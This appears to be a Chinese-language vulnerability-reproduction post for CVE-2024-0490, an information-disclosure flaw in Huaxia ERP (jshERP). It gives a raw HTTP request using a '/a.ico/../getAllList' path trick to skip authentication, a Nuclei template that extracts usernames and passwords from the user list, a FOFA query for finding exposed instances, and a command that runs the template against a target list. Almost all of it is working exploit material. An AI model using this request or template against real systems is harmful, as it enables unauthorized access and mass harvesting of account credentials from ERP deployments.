[漏洞复现]CVE-2024-0490

官网https://www.huaxiaerp.com/githubhttps://github.com/jishenghua/jshERP

GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1Host: 192.168.40.130:100User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36Connection: closeAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8Accept-Language: ensec-ch-ua-platform: WindowsAccept-Encoding: gzip

id: CVE-2024-0490info:  name: 华夏ERP getAllList信息泄露漏洞  author: fgz  severity: high  description: '华夏ERP基于SpringBoot框架和SaaS模式，立志为中小企业提供开源好用的ERP软件，目前专注进销存+财务功能。主要模块有零售管理、采购管理、销售管理、仓库管理、财务管理、报表查询、系统管理等。支持预付款、收入支出、仓库调拨、组装拆卸、订单等特色功能。拥有库存状况、出入库统计等报表。同时对角色和权限进行了细致全面控制，精确到每个按钮和菜单。该系统存在信息泄露漏洞，攻击者可以通过特定ULR获取系统账号密码。'  reference:    - https://github.com/laoquanshi/puppy/blob/main/Logic%20loopholes%20in%20Huaxia%20ERP%20can%20lead%20to%20unauthorized%20access.md    - https://vuldb.com/?ctiid.250595  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N    cvss-score: 5.3    cve-id: CVE-2024-0490    cwe-id: CWE-200  metadata:    max-request: 3    fofa-query: body="jshERP-boot"    verified: true  tags: cve,cve2024,leak,jshERPhttp:  - method: GET    path:      - "{{BaseURL}}/jshERP-boot/user/a.ico/../getAllList"    headers:      Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8      sec-ch-ua-platform: "Windows"    matchers:      - type: word        words:          - "username"          - "password"          - "loginName"        condition: and    extractors:      - type: json        part: body        json:          - ".data.userList"

nuclei.exe -t mypoc华夏erpCVE-2024-0490.yaml -l datahuaxia-erp.txt